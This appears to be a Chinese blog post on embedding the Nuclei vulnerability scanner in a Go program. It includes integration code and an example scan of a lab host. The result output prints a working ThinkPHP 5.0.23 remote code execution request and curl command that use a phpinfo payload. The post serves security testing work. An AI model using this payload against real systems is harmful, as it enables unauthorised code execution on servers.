为什么选择Nuclei

项目 开发语言 是否开源 开源协议 社区范围
nuclei Go 开源 MIT 有官方维护项目,贡献者:全球白帽子
xray Go 闭源 有官方维护项目,贡献者:主要为国内白帽子
pocsuite3 Python3 开源 GPL 官方维护但不公开,社区分散

集成Nuclei

defaultOpts := &types.Options{
		RateLimit:               10,
		BulkSize:                10,
		TemplateThreads:         10,
		HeadlessBulkSize:        10,
		HeadlessTemplateThreads: 10,
		Timeout:                 MyNucleiConfig.Timeout,
		Retries:                 1,
		MaxHostError:            30,
		InteractshURL:           MyNucleiConfig.Iserver,
		NoUpdateTemplates:       true,
		NoColor:                 true,
		Validate:                false,
		UpdateTemplates:         false,
		Debug:                   false,
		Verbose:                 false,
		EnableProgressBar:       false,
		UpdateNuclei:            false,
		Silent:                  true,
		Headless:                false,
		JSON:                    true,
		JSONRequests:            true,
		CustomHeaders:           []string{"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.64"},
		VerboseVerbose:          false,
	}
package MuniuNucleiScan

import (
	"log"
	"os"

	"github.com/logrusorgru/aurora"
	"github.com/projectdiscovery/nuclei/v2/pkg/catalog"
	"github.com/projectdiscovery/nuclei/v2/pkg/core"
	"github.com/projectdiscovery/nuclei/v2/pkg/core/inputs"
	"github.com/projectdiscovery/nuclei/v2/pkg/protocols"
	"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/hosterrorscache"
	"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/interactsh"
	"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/protocolinit"
	"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/protocolstate"
	"github.com/projectdiscovery/nuclei/v2/pkg/templates"
	"github.com/projectdiscovery/nuclei/v2/pkg/types"
	"go.uber.org/ratelimit"
)

type NucleiConfig struct {
	Targets       []string
	TemplatePaths []string
	Iserver       string
	Timeout       int
}

func Nuclei(MyNucleiConfig NucleiConfig, outputWriter *OutputWriter) {
	cache := hosterrorscache.New(30, hosterrorscache.DefaultMaxHostsCount)
	defer cache.Close()
	MuniuProgress := &ProgressClient{}
	defaultOpts := &types.Options{
		RateLimit:               10,
		BulkSize:                10,
		TemplateThreads:         10,
		HeadlessBulkSize:        10,
		HeadlessTemplateThreads: 10,
		Timeout:                 MyNucleiConfig.Timeout,
		Retries:                 1,
		MaxHostError:            30,
		InteractshURL:           MyNucleiConfig.Iserver,
		NoUpdateTemplates:       true,
		NoColor:                 true,
		Validate:                false,
		UpdateTemplates:         false,
		Debug:                   false,
		Verbose:                 false,
		EnableProgressBar:       false,
		UpdateNuclei:            false,
		Silent:                  true,
		Headless:                false,
		JSON:                    true,
		JSONRequests:            true,
		CustomHeaders:           []string{"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.64"},
		VerboseVerbose:          false,
	}
	protocolstate.Init(defaultOpts)
	protocolinit.Init(defaultOpts)

	interactOpts := interactsh.NewDefaultOptions(outputWriter, nil, MuniuProgress)
	interactOpts.ServerURL = MyNucleiConfig.Iserver
	interactClient, err := interactsh.New(interactOpts)
	if err != nil {
		log.Fatalf("Could not create interact client: %s\\n", err)
	}
	BasePath, _ := os.Getwd()
	catalog := catalog.New(BasePath)
	defer interactClient.Close()
	executerOpts := protocols.ExecuterOptions{
		Output:          outputWriter,
		Options:         defaultOpts,
		Catalog:         catalog,
		ResumeCfg:       types.NewResumeCfg(),
		Progress:        MuniuProgress,
		RateLimiter:     ratelimit.New(10),
		Interactsh:      interactClient,
		HostErrorsCache: cache,
		Colorizer:       aurora.NewAurora(true),
	}

	engine := core.New(defaultOpts)
	engine.SetExecuterOptions(executerOpts)
	input := &inputs.SimpleInputProvider{
		Inputs: MyNucleiConfig.Targets,
	}
	var template_list = make([]*templates.Template, 0)
	template_list = LoadTemplates(MyNucleiConfig.TemplatePaths, executerOpts)
	_ = engine.Execute(template_list, input)
}

调用Nuclei

res := make([]*output.ResultEvent, 0)
	templatePaths := []string{
		"thinkphp/thinkphp-5023-rce.nuclei.yaml",
	}
	targets := []string{"<http://172.19.0.2>"}
	MyNucleiConfig := NucleiConfig{
		Targets:       targets,
		TemplatePaths: templatePaths,
		Timeout:       lib.Config.ScanConfig.Timeout,
		Iserver:       lib.Config.ScanConfig.Iserver,
	}
	// 使用nuclei内置的输出流接收结果
	outputWriter := NewOutputWriter()
	outputWriter.WriteCallback = func(event *output.ResultEvent) {
		if len(event.Response) > 10240 {
			event.Response = event.Response[:10240]
		}
		res = append(res, event)
	}
	Nuclei(MyNucleiConfig, outputWriter)
	s, _ := json.Marshal(res)
	fmt.Println(string(s))
[
    {
        "template-id": "thinkphp-5023-rce",
        "info": {
            "name": "ThinkPHP 5.0.23 RCE",
            "author": [
                "dr_set"
            ],
            "tags": [
                "thinkphp",
                "rce"
            ],
            "description": "Thinkphp5 5.0(<5.0.24) Remote Code Execution.",
            "reference": [
                "<https://github.com/vulhub/vulhub/tree/0a0bc719f9a9ad5b27854e92bc4dfa17deea25b4/thinkphp/5.0.23-rce>"
            ],
            "severity": "critical"
        },
        "type": "http",
        "host": "<http://172.19.0.2>",
        "matched-at": "<http://172.19.0.2/index.php?s=captcha>",
        "request": "POST /index.php?s=captcha HTTP/1.1\\r\\nHost: 172.19.0.2\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.64\\r\\nConnection: close\\r\\nContent-Length: 72\\r\\nAccept: */*\\r\\nAccept-Language: en\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Encoding: gzip\\r\\n\\r\\n_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1",
        "response": "HTTP/1.1 200 OK\\r\\nConnection: close\\r\\nContent-Type: text/html; charset=UTF-8\\r\\nDate: Thu, 28 Jul 2022 09:17:37 GMT\\r\\nServer: Apache/2.4.25 (Debian)\\r\\nVary: Accept-Encoding\\r\\nX-Powered-By: PHP/7.2.12\\r\\n\\r\\n...\\n",
        "ip": "172.19.0.2",
        "timestamp": "2022-07-28T17:17:37.856151755+08:00",
        "curl-command": "curl -X 'POST' -d '_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1' -H 'Accept: */*' -H 'Accept-Language: en' -H 'Content-Type: application/x-www-form-urlencoded' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.64' '<http://172.19.0.2/index.php?s=captcha>'",
        "matcher-status": true,
        "matched-line": null
    }
]
Powered by Kali-Team